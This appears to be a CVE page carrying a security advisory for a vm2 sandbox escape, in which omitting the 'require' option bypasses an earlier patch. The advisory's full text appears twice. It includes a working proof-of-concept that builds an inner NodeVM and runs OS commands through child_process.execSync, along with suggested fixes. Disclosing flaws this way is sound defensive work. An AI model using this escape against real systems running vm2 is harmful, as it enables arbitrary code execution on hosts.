← Back to CVE List
CVE-2026-47137NVD
Description
## Summary
The fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in `nodevm.js` line 263 that blocks the combination `nesting: true` + `require: false`. However, the check uses strict equality (`options.require === false`), which is trivially bypassed by omitting the `require` option entirely.
When `require` is not specified, `options.require` is `undefined`, not `false`. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default `require: requireOpts = false` assigns `requireOpts = false`, producing the exact configuration the patch was designed to prevent.
## Root Cause
```javascript
// nodevm.js:263 — the security check
if (options.nesting === true && options.require === false) {
throw new VMError('...');
}
// nodevm.js:280 — the default assignment (AFTER the check)
const { require: requireOpts = false } = options;
// When options.require is undefined:
// - Line 263: undefined === false → FALSE → check skipped
// - Line 280: requireOpts = false → same as require:false
```
## Impact
Full Remote Code Execution on the host system. An attacker running code inside a `NodeVM({ nesting: true })` sandbox (without specifying `require`) can:
1. `require('vm2')` to get the vm2 library
2. Construct an inner `NodeVM` with `require: { builtin: ['child_process'] }`
3. Execute arbitrary OS commands via `child_process.execSync`
The inner VM is completely unconstrained by the outer sandbox configuration.
## Reproduction
```javascript
const { NodeVM } = require('vm2');
// nesting:true, require not specified (defaults to false AFTER the check)
const nvm = new NodeVM({ nesting: true });
const result = nvm.run(`
const { NodeVM } = require('vm2');
const inner = new NodeVM({
require: { builtin: ['child_process'] }
});
module.exports = inner.run(
"module.exports = require('child_process').execSync('id').toString()",
'exploit.js'
);
`, 'exploit.js');
console.log(result); // prints host uid/gid — full RCE
```
## Suggested Fix
```javascript
// Change the check to catch both false and undefined/omitted:
if (options.nesting === true && !options.require) {
throw new VMError('...');
}
```
Or move the check after the destructuring default assignment:
```javascript
const { require: requireOpts = false } = options;
if (options.nesting === true && !requireOpts) {
throw new VMError('...');
}
```
The fix for GHSA-8hg8-63c5-gwmx (CVE-2023-37903) introduced a check in `nodevm.js` line 263 that blocks the combination `nesting: true` + `require: false`. However, the check uses strict equality (`options.require === false`), which is trivially bypassed by omitting the `require` option entirely.
When `require` is not specified, `options.require` is `undefined`, not `false`. The strict equality check fails, so the security guard is skipped. Immediately after (line 280), the destructuring default `require: requireOpts = false` assigns `requireOpts = false`, producing the exact configuration the patch was designed to prevent.
## Root Cause
```javascript
// nodevm.js:263 — the security check
if (options.nesting === true && options.require === false) {
throw new VMError('...');
}
// nodevm.js:280 — the default assignment (AFTER the check)
const { require: requireOpts = false } = options;
// When options.require is undefined:
// - Line 263: undefined === false → FALSE → check skipped
// - Line 280: requireOpts = false → same as require:false
```
## Impact
Full Remote Code Execution on the host system. An attacker running code inside a `NodeVM({ nesting: true })` sandbox (without specifying `require`) can:
1. `require('vm2')` to get the vm2 library
2. Construct an inner `NodeVM` with `require: { builtin: ['child_process'] }`
3. Execute arbitrary OS commands via `child_process.execSync`
The inner VM is completely unconstrained by the outer sandbox configuration.
## Reproduction
```javascript
const { NodeVM } = require('vm2');
// nesting:true, require not specified (defaults to false AFTER the check)
const nvm = new NodeVM({ nesting: true });
const result = nvm.run(`
const { NodeVM } = require('vm2');
const inner = new NodeVM({
require: { builtin: ['child_process'] }
});
module.exports = inner.run(
"module.exports = require('child_process').execSync('id').toString()",
'exploit.js'
);
`, 'exploit.js');
console.log(result); // prints host uid/gid — full RCE
```
## Suggested Fix
```javascript
// Change the check to catch both false and undefined/omitted:
if (options.nesting === true && !options.require) {
throw new VMError('...');
}
```
Or move the check after the destructuring default assignment:
```javascript
const { require: requireOpts = false } = options;
if (options.nesting === true && !requireOpts) {
throw new VMError('...');
}
```